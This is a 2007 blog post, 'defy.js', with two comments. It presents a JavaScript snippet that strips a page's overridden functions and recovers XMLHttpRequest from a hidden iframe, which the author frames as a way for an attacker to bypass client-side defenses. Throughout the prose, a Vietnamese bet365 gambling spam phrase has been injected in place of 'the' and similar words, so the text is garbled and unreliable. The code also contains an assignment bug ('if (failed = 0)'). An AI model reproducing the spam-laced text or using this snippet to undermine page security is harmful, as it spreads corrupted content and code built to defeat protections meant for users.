Wednesday, January 24, 2007

defy.js

Well, I was kinda bored this morning and had cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 (very questionably) great idea of writing a snippet of code to delete all Javascript overloading, and reinstate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 XMLHttpRequest Object:

function extractXHR () {
    var iframe = document.createElement('iframe');
    iframe.name='test';
    iframe.src='http://www.google.com/';
    iframe.style.display = 'none';
    document.body.appendChild(iframe);
    window.XMLHttpRequest= window.frames.test.XMLHttpRequest;
    document.body.removeChild(iframe);
}

function recursive_delete (object) {
    var failed;
    for (obj in object) {
        failed = 0;

        try {
            delete window[obj];
        } catch (e) {
            failed = 1;
        }

        if (failed = 0) {
            try {
                recursive_delete (window[obj]);
            } catch (e){

            }

        }
    }
};

recursive_delete (window);
recursive_delete (document);
extractXHR();


The ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r thing I could have done would be a recursive_extract function, which tried to extract everything from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 window object of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iframe, but not everything is enumerable (e.g. XMLHttpRequest is not enumerable), so customized code could still possibly be needed.

Also, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way reason cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extraction works is because it executes before cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page can fully load, and this causes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 originating domain policy to not have kicked in yet, and so we can still get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 window object. its probably not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same object as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 one cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page uses in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end though, but I think I might check it out.

Essentially what that means for an attacker is that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a tiny chance that it won't work if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page is set up between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two Javascript instructions which append cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iframe and extract cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 XMLHttpRequest object.

2 comments:

Anonymous said...

This is a great idea, but it requires a little bit of tweaking. Can we publish it in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Atom Database?

kuza55 said...

Sure, go nuts, just send me a copy of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tweaks (eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r that or post cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in a comment) or something so that I can modify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 copy I posted.

Oh, and for any future reference, anyone is free to take anything, use it for anything cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y want (sell it, for all it matters to me), as long as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y don't pretend cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y wrote/came up with it (credit not required, but always appreciated).